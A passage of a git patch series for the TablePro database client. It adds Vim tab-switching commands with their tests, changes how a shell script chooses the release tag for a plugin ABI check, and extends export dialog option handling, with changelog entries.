+++ b/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift
@@ -0,0 +1,209 @@
+//
+//  VimEngineTabCommandsTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import Testing
+
+@MainActor
+final class VimEngineTabCommandsTests {
+    private let buffer: VimTextBufferMock
+    private let engine: VimEngine
+    private var dispatched: [String] = []
+
+    init() {
+        buffer = VimTextBufferMock(text: "select 1;\nselect 2;\n", selectedRange: NSRange(location: 3, length: 0))
+        engine = VimEngine(buffer: buffer)
+        engine.onCommand = { [weak self] command in
+            self?.dispatched.append(command)
+        }
+    }
+
+    private func keys(_ chars: String) {
+        for char in chars { _ = engine.process(char, shift: false) }
+    }
+
+    @Test(arguments: [
+        ("gt", "tabnext"),
+        ("3gt", "tabnext 3"),
+        ("12gt", "tabnext 12"),
+        ("gT", "tabprevious 1"),
+        ("2gT", "tabprevious 2"),
+    ])
+    func dispatchesTheTabCommand(sequence: String, command: String) {
+        keys(sequence)
+        #expect(dispatched == [command])
+        #expect(engine.mode == .normal)
+    }
+
+    @Test
+    func gtLeavesTheBufferAlone() {
+        keys("gt")
+        #expect(buffer.text == "select 1;\nselect 2;\n")
+        #expect(buffer.selectedRange() == NSRange(location: 3, length: 0))
+        #expect(buffer.undoCallCount == 0)
+    }
+
+    @Test
+    func countIsConsumedByGt() {
+        keys("3gt")
+        keys("x")
+        #expect(buffer.text == "selct 1;\nselect 2;\n")
+    }
+
+    @Test
+    func gtAfterAnOperatorCancelsBoth() {
+        keys("dgt")
+        #expect(dispatched.isEmpty)
+        #expect(buffer.text == "select 1;\nselect 2;\n")
+        keys("x")
+        #expect(buffer.text == "selct 1;\nselect 2;\n")
+    }
+
+    @Test
+    func gtInInsertModeGoesToTheTextView() {
+        keys("i")
+        let consumedG = engine.process("g", shift: false)
+        let consumedT = engine.process("t", shift: false)
+        #expect(!consumedG)
+        #expect(!consumedT)
+        #expect(dispatched.isEmpty)
+        #expect(engine.mode == .insert)
+    }
+
+    @Test
+    func hugeCountsBeforeGtAndGTStayBounded() {
+        var selected: [Int] = []
+        var offsets: [Int] = []
+        var handler = VimCommandLineHandler()
+        handler.tabCount = { 3 }
+        handler.onSelectTab = { selected.append($0) }
+        handler.onSelectAdjacentTab = { offsets.append($0) }
+        engine.onCommand = { [weak self] command in
+            self?.dispatched.append(command)
+            handler.handle(command)
+        }
+        keys("99999999gt")
+        keys("99999999gT")
+        #expect(dispatched == ["tabnext 999999", "tabprevious 999999"])
+        #expect(selected == [3])
+        #expect(offsets == [0])
+    }
+
+    @Test
+    func colonTabnextReachesTheHandler() {
+        var selected: [Int] = []
+        var handler = VimCommandLineHandler()
+        handler.onSelectTab = { selected.append($0) }
+        engine.onCommand = { handler.handle($0) }
+        keys(":tabn 2")
+        _ = engine.process("\r", shift: false)
+        #expect(selected == [2])
+    }
+}
+
+@MainActor
+struct VimCommandLineHandlerTabTests {
+    private final class Recorder {
+        var tabNumbers: [Int] = []
+        var offsets: [Int] = []
+        var closed = 0
+        var executed = 0
+    }
+
+    private func handle(_ command: String, tabs: Int? = nil) -> Recorder {
+        let recorder = Recorder()
+        var handler = VimCommandLineHandler()
+        handler.tabCount = tabs.map { count in { count } }
+        handler.onSelectTab = { recorder.tabNumbers.append($0) }
+        handler.onSelectAdjacentTab = { recorder.offsets.append($0) }
+        handler.onCloseTab = { recorder.closed += 1 }
+        handler.onExecuteQuery = { recorder.executed += 1 }
+        handler.handle(command)
+        return recorder
+    }
+
+    @Test(arguments: ["tabn", "tabne", "tabnex", "tabnext", " tabnext "])
+    func tabnextSelectsTheNextTab(command: String) {
+        let recorder = handle(command)
+        #expect(recorder.offsets == [1])
+        #expect(recorder.tabNumbers.isEmpty)
+    }
+
+    @Test(arguments: ["tabn 4", "tabnext 4", "tabnext  4"])
+    func tabnextWithANumberSelectsThatTab(command: String) {
+        let recorder = handle(command)
+        #expect(recorder.tabNumbers == [4])
+        #expect(recorder.offsets.isEmpty)
+    }
+
+    @Test(arguments: [("tabnext +2", 2), ("tabn -3", -3)])
+    func tabnextWithASignMovesRelative(command: String, offset: Int) {
+        #expect(handle(command).offsets == [offset])
+    }
+
+    @Test(arguments: ["tabp 2", "tabpr 2", "tabprevious 2", "tabN 2", "tabNe 2", "tabNext 2"])
+    func tabpreviousWithACountMovesBack(command: String) {
+        let recorder = handle(command)
+        #expect(recorder.offsets == [-2])
+        #expect(recorder.tabNumbers.isEmpty)
+    }
+
+    @Test(arguments: ["tabp", "tabprevious", "tabN", "tabNext"])
+    func tabpreviousSelectsThePreviousTab(command: String) {
+        #expect(handle(command).offsets == [-1])
+    }
+
+    @Test(arguments: [
+        "set", "tab", "tabnew", "tabnexts", "tabnext x", "tabnext 0", "tabp -1", "tabp +1", "tabnext 1 2", "TABN",
+    ])
+    func otherCommandsDoNothing(command: String) {
+        let recorder = handle(command)
+        #expect(recorder.tabNumbers.isEmpty)
+        #expect(recorder.offsets.isEmpty)
+        #expect(recorder.closed == 0)
+        #expect(recorder.executed == 0)
+    }
+
+    @Test(arguments: [
+        ("tabnext +9223372036854775807", 1),
+        ("tabnext -9223372036854775808", -2),
+        ("tabp 100000000000000000000", -1),
+        ("tabN 999999", 0),
+    ])
+    func hugeRelativeCountsMoveLessThanOneLap(command: String, offset: Int) {
+        #expect(handle(command, tabs: 3).offsets == [offset])
+    }
+
+    @Test(arguments: ["tabnext 99999999999999999999", "tabn 9223372036854775807", "tabnext 4"])
+    func anAbsoluteCountPastTheLastTabSelectsTheLastTab(command: String) {
+        #expect(handle(command, tabs: 3).tabNumbers == [3])
+    }
+
+    @Test
+    func withoutATabCountACountStopsAtTheLimit() {
+        #expect(handle("tabnext +9223372036854775807").offsets == [999_999])
+        #expect(handle("tabp 99999999999999999999").offsets == [-999_999])
+        #expect(handle("tabnext 99999999999999999999").tabNumbers == [999_999])
+    }
+
+    @Test
+    func writeAndQuitStillWork() {
+        #expect(handle("w").executed == 1)
+        #expect(handle("q").closed == 1)
+    }
+}
+
+@MainActor
+struct QueryTabManagerOffsetTests {
+    @Test(arguments: [Int.max, Int.min, Int.max - 1, Int.min + 1, -4, 7])
+    func anyOffsetSelectsATabWithoutOverflow(offset: Int) {
+        let manager = QueryTabManager()
+        let tabs = (0..<3).map { QueryTab(title: "Query \($0)", query: "SELECT \($0)") }
+        manager.tabs = tabs
+        manager.selectedTabId = tabs[0].id
+        #expect(manager.tabId(offsetBy: offset) == tabs[(offset % 3 + 3) % 3].id)
+    }
+}
diff --git a/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift b/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift
index 329ccca060..2d38e1f82d 100644
--- a/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift
+++ b/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift
@@ -14,7 +14,7 @@ import TableProSQLGrammar
 import Testing
 
 struct SQLLexicalFeatureMappingTests {
-    @Test("Every grammar fact but the app-curated SQLScript blocks and CQL batches has exactly one kit feature, on the same bit")
+    @Test("Every grammar fact but the app-curated SQLScript blocks, CQL batches and T-SQL name characters has exactly one kit feature, on the same bit")
     func everyFactHasAPartner() {
         let pairs = SQLLexicalGrammar.pluginFeaturePairs
         let grammarBits = pairs.reduce(into: SQLLexicalGrammar()) { $0.formUnion($1.1) }
@@ -25,7 +25,8 @@ struct SQLLexicalFeatureMappingTests {
         #expect(grammarBits.rawValue == (1 << 25) - 1)
         #expect(grammarBits.isDisjoint(with: .sqlScriptBlocks))
         #expect(grammarBits.isDisjoint(with: .cqlBatches))
-        #expect(grammarBits.union([.sqlScriptBlocks, .cqlBatches]).rawValue == (1 << 27) - 1)
+        #expect(grammarBits.isDisjoint(with: .hashAndAtInIdentifiers))
+        #expect(grammarBits.union([.sqlScriptBlocks, .cqlBatches, .hashAndAtInIdentifiers]).rawValue == (1 << 28) - 1)
     }
 
     @Test("SAP HANA's SQLScript blocks stay in the app's curated grammar and never reach the kit")
@@ -44,6 +45,13 @@ struct SQLLexicalFeatureMappingTests {
         #expect(SQLLexicalGrammar(pluginFeatures: cql.pluginFeatures) == cql.subtracting(.cqlBatches))
     }
 
+    @Test("T-SQL name characters stay in the app's curated grammar and never reach the kit")
+    func tsqlNameCharactersAreAppCurated() {
+        let tsql = DatabaseType.mssql.lexicalGrammar
+        #expect(tsql.contains(.hashAndAtInIdentifiers))
+        #expect(SQLLexicalGrammar(pluginFeatures: tsql.pluginFeatures) == tsql.subtracting(.hashAndAtInIdentifiers))
+    }
+
     @Test("A grammar survives the trip through the kit's features")
     func roundTrip() {
         let grammar = DatabaseType.postgresql.lexicalGrammar
diff --git a/apple/changelog.d/3854.added.1.md b/apple/changelog.d/3854.added.1.md
new file mode 100644
index 0000000000..7a6eeb29f6
--- /dev/null
+++ b/apple/changelog.d/3854.added.1.md
@@ -0,0 +1 @@
+Formatter settings for clause items, AND and OR position, and data type case.
diff --git a/apple/changelog.d/3854.added.2.md b/apple/changelog.d/3854.added.2.md
new file mode 100644
index 0000000000..4130fdd50c
--- /dev/null
+++ b/apple/changelog.d/3854.added.2.md
@@ -0,0 +1 @@
+Vim mode switches tabs with gt, gT, :tabnext and :tabprevious.
diff --git a/apple/changelog.d/3854.changed.md b/apple/changelog.d/3854.changed.md
new file mode 100644
index 0000000000..2eb71a8d36
--- /dev/null
+++ b/apple/changelog.d/3854.changed.md
@@ -0,0 +1 @@
+.sql-formatter.json uses the npm sql-formatter key names, so export a rules file saved by 0.83 again.
diff --git a/apple/changelog.d/3854.fixed.1.md b/apple/changelog.d/3854.fixed.1.md
new file mode 100644
index 0000000000..7b4bc8cd20
--- /dev/null
+++ b/apple/changelog.d/3854.fixed.1.md
@@ -0,0 +1 @@
+Format Query doing nothing on a statement too large to format, without saying why.
diff --git a/apple/changelog.d/3854.fixed.2.md b/apple/changelog.d/3854.fixed.2.md
new file mode 100644
index 0000000000..3017074564
--- /dev/null
+++ b/apple/changelog.d/3854.fixed.2.md
@@ -0,0 +1 @@
+The Vim "_ register overwriting the clipboard and the other registers.
diff --git a/apple/changelog.d/3854.fixed.md b/apple/changelog.d/3854.fixed.md
new file mode 100644
index 0000000000..0ce4f53d58
--- /dev/null
+++ b/apple/changelog.d/3854.fixed.md
@@ -0,0 +1 @@
+Format Query changing SQL with brackets, dollar bodies, GO or DELIMITER lines, operators like @> or window ORDER BY.
diff --git a/apple/scripts/check-pluginkit-abi.sh b/apple/scripts/check-pluginkit-abi.sh
index fd76d0ecc7..e8d23f11f2 100755
--- a/apple/scripts/check-pluginkit-abi.sh
+++ b/apple/scripts/check-pluginkit-abi.sh
@@ -14,8 +14,6 @@ if [ $# -gt 1 ]; then
     echo "usage: scripts/check-pluginkit-abi.sh [--frozen] [base]" >&2
     exit 2
 fi
-base="${1:-$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')}"
-
 fail() {
     echo "::error::$1"
     exit 1
@@ -33,13 +31,53 @@ kits() {
 
 config="Configs/PluginKit.xcconfig"
 settings="TABLEPRO_PLUGINKIT_VERSION and TABLEPRO_PLUGINKIT_MINIMUM_VERSION"
+
 # A tag cut before the Apple apps moved into apple/ keeps them at the repository root.
-base_dir=apple
-base_config="apple/$config"
-if ! git -C "$root" cat-file -e "$base:$base_config" 2> /dev/null; then
-    base_dir=.
-    base_config="$config"
+tag_dir() {
+    if git -C "$root" cat-file -e "$1:apple/$config" 2> /dev/null; then
+        echo apple
+    else
+        echo .
+    fi
+}
+
+# A `rev:./path` is read relative to the working directory, so the root form has no leading ./.
+tag_config() {
+    if [ "$(tag_dir "$1")" = apple ]; then
+        echo "apple/$config"
+    else
+        echo "$config"
+    fi
+}
+
+# A release tag sits on its release/* branch, so main cannot reach the kit it shipped. Off a release line the base is
+# the tag that shipped the highest kit, the reachable one on a tie.
+shipped_base() {
+    local reachable best best_kit tag kit
+    reachable="$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')"
+    best="$reachable"
+    # An unreadable reachable tag stays the base, so the check below names it.
+    best_kit="$(git -C "$root" show "$reachable:$(tag_config "$reachable")" 2> /dev/null | kits | cut -d' ' -f1)" \
+        || { echo "$reachable"; return; }
+    while IFS= read -r tag; do
+        kit="$(git -C "$root" show "$tag:$(tag_config "$tag")" 2> /dev/null | kits | cut -d' ' -f1)" || continue
+        if [ "$kit" -gt "$best_kit" ]; then
+            best="$tag"
+            best_kit="$kit"
+        fi
+    done < <(git -C "$root" tag --list 'v[0-9]*' --sort=-v:refname)
+    echo "$best"
+}
+
+if [ $# -eq 1 ]; then
+    base="$1"
+elif [ "$frozen" -eq 1 ]; then
+    base="$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')"
+else
+    base="$(shipped_base)"
 fi
+base_dir="$(tag_dir "$base")"
+base_config="$(tag_config "$base")"
 base_kits="$(git -C "$root" show "$base:$base_config" | kits)" || fail "$config at $base does not set $settings to integers."
 head_kits="$(kits < "$root/$config")" || fail "$config does not set $settings to integers."
 read -r base_kit base_minimum <<< "$base_kits"
diff --git a/apple/scripts/ci/test_check_pluginkit_abi.py b/apple/scripts/ci/test_check_pluginkit_abi.py
index ab0dcf9015..c042f0b8cc 100644
--- a/apple/scripts/ci/test_check_pluginkit_abi.py
+++ b/apple/scripts/ci/test_check_pluginkit_abi.py
@@ -171,6 +171,23 @@ def test_default_base_is_the_nearest_v_tag_reachable_from_head(self):
         self.commit(API + ["prepare", "explain"], 41, 19, tag="libs-1")
         self.assertPasses("against v1.1.0: changed; kit 41, minimum 19.")
 
+    def test_default_base_is_the_release_branch_tag_that_shipped_the_highest_kit(self):
+        self.commit(API + ["prepare"], 40, 19)
+        self.git("checkout", "-q", "-b", "release/1.1")
+        self.commit(API + ["prepare"], 40, 19, tag="v1.1.0")
+        self.git("checkout", "-q", "main")
+        self.commit(API + ["prepare", "explain"], 40, 19)
+        self.assertFails("against v1.1.0: changed. Set TABLEPRO_PLUGINKIT_VERSION to 41 and "
+                         "TABLEPRO_PLUGINKIT_MINIMUM_VERSION to 19")
+        self.commit(API + ["prepare", "explain"], 41, 19)
+        self.assertPasses("against v1.1.0: changed; kit 41, minimum 19.")
+
+    def test_frozen_base_is_the_tag_the_release_line_reaches(self):
+        self.commit(API + ["prepare"], 40, 19, tag="v1.1.0")
+        self.git("checkout", "-q", "-b", "release/1.0", "v1.0.0")
+        self.commit(API, 39, 19)
+        self.assertPasses("against v1.0.0: unchanged; kit 39, minimum 19.", "--frozen")
+
     def test_an_explicit_base_replaces_the_tag(self):
         self.commit(API + ["prepare"], 40, 19, tag="v1.1.0")
         self.assertPasses("against v1.1.0: unchanged; kit 40, minimum 19.")

From 55472d826811fed413ec43cd66dfd979b5a60ce7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Tue, 27 Oct 2026 17:37:31 +0700
Subject: [PATCH 08/44] feat(export): set Structure, Drop or Data for a whole
 database or group (#3857)

---
 .../MQLExportReadsRowsTests.swift             |  17 ++
 .../MQLExportPlugin/MQLExportPlugin.swift     |  10 +-
 .../SQLExportPlugin/SQLExportPlugin.swift     |   5 +-
 .../TablePro/Models/Export/ExportModels.swift | 138 ++++++++-
 .../TablePro/Resources/Localizable.xcstrings  |   6 +
 .../Views/Backup/BackupScopeModel.swift       |  66 ++++-
 .../Views/Backup/BackupScopeTreeView.swift    |  16 +-
 .../Components/CheckboxOutlineView.swift      |  44 +++
 .../Views/Editor/SQLEditorCoordinator.swift   |   5 +
 .../TablePro/Views/Export/ExportDialog.swift  |  99 ++++---
 .../Views/Export/ExportObjectRows.swift       |  59 +---
 .../Views/Export/ExportObjectTreeView.swift   | 265 ++++++++++++++----
 .../Views/Export/ExportTreeBuilder.swift      |   7 +-
 .../Models/ExportOptionColumnTests.swift      | 219 +++++++++++++++
 .../ViewModels/BackupScopeModelTests.swift    |  21 ++
 .../Editor/SQLEditorFocusClaimTests.swift     |  85 ++++++
 .../ExportObjectTreeCoordinatorTests.swift    | 224 ++++++++++++++-
 .../Views/Export/ExportTreeBuilderTests.swift |  20 ++
 apple/TableProUITests/ExportUITests.swift     |  61 ++++
 apple/changelog.d/3857.added.md               |   1 +
 apple/changelog.d/3857.changed.md             |   1 +
 apple/changelog.d/3857.fixed.1.md             |   1 +
 apple/changelog.d/3857.fixed.2.md             |   1 +
 apple/changelog.d/3857.fixed.3.md             |   1 +
 apple/changelog.d/3857.fixed.4.md             |   1 +
 apple/changelog.d/3857.fixed.5.md             |   1 +
 apple/changelog.d/3857.fixed.6.md             |   1 +
 apple/changelog.d/3857.fixed.md               |   1 +
 28 files changed, 1190 insertions(+), 186 deletions(-)
 create mode 100644 apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift
 create mode 100644 apple/TableProTests/Models/ExportOptionColumnTests.swift
 create mode 100644 apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift
 create mode 100644 apple/changelog.d/3857.added.md
 create mode 100644 apple/changelog.d/3857.changed.md
 create mode 100644 apple/changelog.d/3857.fixed.1.md
 create mode 100644 apple/changelog.d/3857.fixed.2.md
 create mode 100644 apple/changelog.d/3857.fixed.3.md
 create mode 100644 apple/changelog.d/3857.fixed.4.md
 create mode 100644 apple/changelog.d/3857.fixed.5.md
 create mode 100644 apple/changelog.d/3857.fixed.6.md
 create mode 100644 apple/changelog.d/3857.fixed.md

diff --git a/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift b/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift
new file mode 100644
index 0000000000..f1337ac4d0
--- /dev/null
+++ b/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift
@@ -0,0 +1,17 @@
+//
+//  MQLExportReadsRowsTests.swift
+//  FormatPluginTests
+//
+
+import TableProPluginKit
+import Testing
+
+struct MQLExportReadsRowsTests {
+    @Test("An MQL export reads a collection's documents only with Data checked")
+    func readsRowsOnlyWithData() {
+        let plugin = MQLExportPlugin()
+        #expect(plugin.readsRows(optionValues: [true, true, true], kind: .table))
+        #expect(!plugin.readsRows(optionValues: [true, true, false], kind: .table))
+        #expect(plugin.readsRows(optionValues: [], kind: .table))
+    }
+}
diff --git a/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift b/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift
index 6074a27517..5577c1dee8 100644
--- a/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift
+++ b/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift
@@ -19,9 +19,10 @@ final class MQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi
     static let supportedDatabaseTypeIds = ["MongoDB"]
 
     static let perTableOptionColumns: [PluginExportOptionColumn] = [
+        // The DROP statement, left untranslated: the catalog's "Drop" is the verb that deletes a table.
         PluginExportOptionColumn(id: "drop", label: "Drop", width: 44),
-        PluginExportOptionColumn(id: "indexes", label: "Indexes", width: 44),
-        PluginExportOptionColumn(id: "data", label: "Data", width: 44)
+        PluginExportOptionColumn(id: "indexes", label: String(localized: "Indexes", bundle: .main), width: 44),
+        PluginExportOptionColumn(id: "data", label: String(localized: "Data", bundle: .main), width: 44)
     ]
 
     typealias Settings = MQLExportOptions
@@ -41,6 +42,11 @@ final class MQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi
         optionValues.contains(true)
     }
 
+    // Without it, Data off still counts every collection's rows and the progress sits at 0 of N.
+    func readsRows(optionValues: [Bool], kind: PluginExportObjectKind) -> Bool {
+        optionValues.count <= 2 || optionValues[2]
+    }
+
     @MainActor
     func settingsView() -> AnyView? {
         AnyView(MQLExportOptionsView(plugin: self))
diff --git a/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift b/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift
index 832efd4521..a7bcae450a 100644
--- a/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift
+++ b/apple/Plugins/SQLExportPlugin/SQLExportPlugin.swift
@@ -20,9 +20,10 @@ final class SQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi
     static let excludedDatabaseTypeIds = ["MongoDB", "Redis"]
 
     static let perTableOptionColumns: [PluginExportOptionColumn] = [
-        PluginExportOptionColumn(id: "structure", label: "Structure", width: 56),
+        PluginExportOptionColumn(id: "structure", label: String(localized: "Structure", bundle: .main), width: 56),
+        // The DROP statement, left untranslated: the catalog's "Drop" is the verb that deletes a table.
         PluginExportOptionColumn(id: "drop", label: "Drop", width: 44),
-        PluginExportOptionColumn(id: "data", label: "Data", width: 44)
+        PluginExportOptionColumn(id: "data", label: String(localized: "Data", bundle: .main), width: 44)
     ]
 
     static let supportedObjectKinds: [PluginExportObjectKind] = [
diff --git a/apple/TablePro/Models/Export/ExportModels.swift b/apple/TablePro/Models/Export/ExportModels.swift
index 0f6c42f8ee..288bdb1e30 100644
--- a/apple/TablePro/Models/Export/ExportModels.swift
+++ b/apple/TablePro/Models/Export/ExportModels.swift
@@ -292,6 +292,8 @@ struct ExportDatabaseItem: Identifiable {
     /// Set when the container's own checkbox was turned on before its unread kinds arrived, so
     /// they arrive selected like everything else the click reached.
     var selectsLoadedObjects = false
+    // Column values set before the unread kinds arrived, by column index; they arrive with them.
+    var arrivingOptionValues: [Int: Bool] = [:]
 
     init(
         id: UUID = UUID(),
@@ -313,8 +315,12 @@ struct ExportDatabaseItem: Identifiable {
 
     /// An object that arrives already selected (a restored row) stays so. Any other is selected
     /// only when the container was ticked whole and nothing in it has been unticked since.
-    func mergingLoadedObjects(_ loaded: [ExportObjectItem]) -> ExportDatabaseItem {
-        let selectsArrivals = selectsLoadedObjects && objects.allSatisfy(\.isSelected)
+    func mergingLoadedObjects(
+        _ loaded: [ExportObjectItem],
+        writes: (ExportObjectItem) -> Bool = { _ in true }
+    ) -> ExportDatabaseItem {
+        // An object that writes nothing stays out of a container tick, so it does not count as unticked.
+        let selectsArrivals = selectsLoadedObjects && objects.filter(writes).allSatisfy(\.isSelected)
         let incoming = loaded.filter { unloadedKinds.contains($0.kind) }
         // The table listing reported these sequences as tables; one relation, so the sequence replaces it.
         let sequenceNames = Set(incoming.filter { $0.kind == .sequence }.map(\.name))
@@ -331,9 +337,32 @@ struct ExportDatabaseItem: Identifiable {
         merged.unloadedKinds = []
         merged.isLoadingObjects = false
         merged.selectsLoadedObjects = false
+        merged.arrivingOptionValues = [:]
         return merged
     }
 
+    // Kept values go on after normalizing, which replaces an arrival's empty list with the defaults.
+    func mergingLoadedObjects(_ loaded: [ExportObjectItem], layout: ExportOptionLayout) -> ExportDatabaseItem? {
+        let merged = mergingLoadedObjects(loaded, writes: layout.writesSomething)
+        guard !merged.objects.isEmpty, let normalized = [merged].normalized(for: layout).first else { return nil }
+        let arrivals = Set(normalized.objects.map(\.id)).subtracting(objects.map(\.id))
+        return normalized.applyingOptionValues(arrivingOptionValues, toObjects: arrivals, layout: layout)
+    }
+
+    func applyingOptionValues(
+        _ values: [Int: Bool],
+        toObjects ids: Set<UUID>,
+        layout: ExportOptionLayout
+    ) -> ExportDatabaseItem {
+        guard !values.isEmpty, !ids.isEmpty else { return self }
+        var updated = self
+        updated.objects = objects.map { object in
+            guard ids.contains(object.id) else { return object }
+            return object.settingOptions(values.filter { layout.supports(columnAt: $0.key, kind: object.kind) })
+        }
+        return updated
+    }
+
     func withID(_ id: UUID) -> ExportDatabaseItem {
         var copy = ExportDatabaseItem(
             id: id,
@@ -344,6 +373,7 @@ struct ExportDatabaseItem: Identifiable {
         )
         copy.isLoadingObjects = isLoadingObjects
         copy.selectsLoadedObjects = selectsLoadedObjects
+        copy.arrivingOptionValues = arrivingOptionValues
         return copy
     }
 
@@ -377,7 +407,75 @@ struct ExportDatabaseItem: Identifiable {
     }
 }
 
+enum ExportKindReconciliation: Equatable {
+    case unchanged
+    // The kinds left after narrowing, so a wider format later reads again.
+    case narrowed(loadedKinds: Set<PluginExportObjectKind>)
+    case reload
+
+    static func next(
+        loadedKinds: Set<PluginExportObjectKind>,
+        wanted: Set<PluginExportObjectKind>
+    ) -> ExportKindReconciliation {
+        guard !loadedKinds.isEmpty else { return .unchanged }
+        guard wanted.isSubset(of: loadedKinds) else { return .reload }
+        return wanted == loadedKinds ? .unchanged : .narrowed(loadedKinds: wanted)
+    }
+}
+
+// Resolved by the dialog so the tree never looks a plugin up itself.
+struct ExportOptionLayout {
+    let columns: [PluginExportOptionColumn]
+    let defaultValues: [Bool]
+    // False for a structure-only format, which ignores a row scope.
+    let readsRows: Bool
+    let supports: (String, PluginExportObjectKind) -> Bool
+
+    static var none: ExportOptionLayout {
+        ExportOptionLayout(columns: [], defaultValues: [], readsRows: true) { _, _ in true }
+    }
+
+    func supports(columnAt index: Int, kind: PluginExportObjectKind) -> Bool {
+        columns.indices.contains(index) && supports(columns[index].id, kind)
+    }
+
+    func writesSomething(_ object: ExportObjectItem) -> Bool {
+        columns.isEmpty || object.optionValues.contains(true)
+    }
+
+    // Unread kinds count with the value they will arrive with.
+    func values(
+        ofColumn index: Int,
+        in objects: [ExportObjectItem],
+        unloadedKinds: Set<PluginExportObjectKind> = [],
+        arriving: [Int: Bool] = [:]
+    ) -> [Bool] {
+        guard columns.indices.contains(index) else { return [] }
+        let fallback = defaultValues.count == columns.count ? defaultValues[index] : columns[index].defaultValue
+        var values = objects
+            .filter { supports(columnAt: index, kind: $0.kind) }
+            .map { $0.optionValues[safe: index] ?? columns[index].defaultValue }
+        if unloadedKinds.contains(where: { supports(columnAt: index, kind: $0) }) {
+            values.append(arriving[index] ?? fallback)
+        }
+        return values
+    }
+}
+
 extension ExportObjectItem {
+    // Never selects. A selected object left with nothing on is deselected: it would export nothing.
+    func settingOptions(_ values: [Int: Bool]) -> ExportObjectItem {
+        guard values.keys.contains(where: optionValues.indices.contains) else { return self }
+        var updated = self
+        for (index, value) in values where updated.optionValues.indices.contains(index) {
+            updated.optionValues[index] = value
+        }
+        if !updated.optionValues.contains(true) {
+            updated.isSelected = false
+        }
+        return updated
+    }
+
     func normalized(forOptionColumnCount optionColumnCount: Int, defaultOptionValues: [Bool]) -> ExportObjectItem {
         guard optionColumnCount > 0 else { return self }
         let fallback = defaultOptionValues.count == optionColumnCount
@@ -451,6 +549,23 @@ extension [ExportDatabaseItem] {
         }
     }
 
+    // Masking keeps a routine from carrying a Data flag that would count it as exportable.
+    func normalized(for layout: ExportOptionLayout) -> [ExportDatabaseItem] {
+        normalizingOptionValues(optionColumnCount: layout.columns.count, defaultOptionValues: layout.defaultValues)
+            .maskingUnsupportedOptions(columns: layout.columns, supports: layout.supports)
+    }
+
+    // A profile's option values belong to its format, so the tree is reset for that format first.
+    func applyingProfile(
+        _ profile: ExportProfile,
+        layout: ExportOptionLayout,
+        databaseType: DatabaseType
+    ) -> [ExportDatabaseItem] {
+        ExportProfileStorage.apply(profile, to: self)
+            .clearingRowScopes(unavailableOn: databaseType)
+            .normalized(for: layout)
+    }
+
     func normalizingOptionValues(optionColumnCount: Int, defaultOptionValues: [Bool]) -> [ExportDatabaseItem] {
         map { database in
             var normalizedDatabase = database
@@ -464,6 +579,7 @@ extension [ExportDatabaseItem] {
     func resettingOptionValues(to values: [Bool]) -> [ExportDatabaseItem] {
         map { database in
             var resetDatabase = database
+            resetDatabase.arrivingOptionValues = [:]
             resetDatabase.objects = database.objects.map { object in
                 var resetObject = object
                 resetObject.optionValues = values
@@ -486,6 +602,24 @@ extension [ExportDatabaseItem] {
         }
     }
 
+    func settingOption(
+        _ index: Int,
+        to value: Bool,
+        objectIDs ids: Set<UUID>,
+        arrivingIn databaseID: UUID? = nil
+    ) -> [ExportDatabaseItem] {
+        map { database in
+            var updated = database
+            updated.objects = database.objects.map { object in
+                ids.contains(object.id) ? object.settingOptions([index: value]) : object
+            }
+            if database.id == databaseID {
+                updated.arrivingOptionValues[index] = value
+            }
+            return updated
+        }
+    }
+
     func clearingRowScopes(unavailableOn databaseType: DatabaseType) -> [ExportDatabaseItem] {
         map { database in
             var clearedDatabase = database
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index bc4bbdf99c..422eaccc99 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -57725,6 +57725,8 @@
       }
     },
     "Data" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
@@ -93693,6 +93695,8 @@
       }
     },
     "Indexes" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
@@ -173994,6 +173998,8 @@
       }
     },
     "Structure" : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false,
       "localizations" : {
         "fr" : {
           "stringUnit" : {
diff --git a/apple/TablePro/Views/Backup/BackupScopeModel.swift b/apple/TablePro/Views/Backup/BackupScopeModel.swift
index 70a1915b26..f7688e3f4f 100644
--- a/apple/TablePro/Views/Backup/BackupScopeModel.swift
+++ b/apple/TablePro/Views/Backup/BackupScopeModel.swift
@@ -115,33 +115,89 @@ final class BackupScopeModel: ObservableObject {
         rows = Self.togglingObject(id, in: database, rows: rows)
     }
 
+    enum Row: Equatable {
+        case database(String)
+        case object(String, database: String)
+    }
+
+    func toggle(_ selection: [Row]) {
+        rows = Self.toggling(selection, in: rows)
+    }
+
+    // One direction for every row, and an object under a selected database is left to it: toggling both flipped it back.
+    static func toggling(_ selection: [Row], in rows: [DatabaseRow]) -> [DatabaseRow] {
+        let databases = Set(selection.compactMap { row -> String? in
+            guard case .database(let name) = row else { return nil }
+            return name
+        })
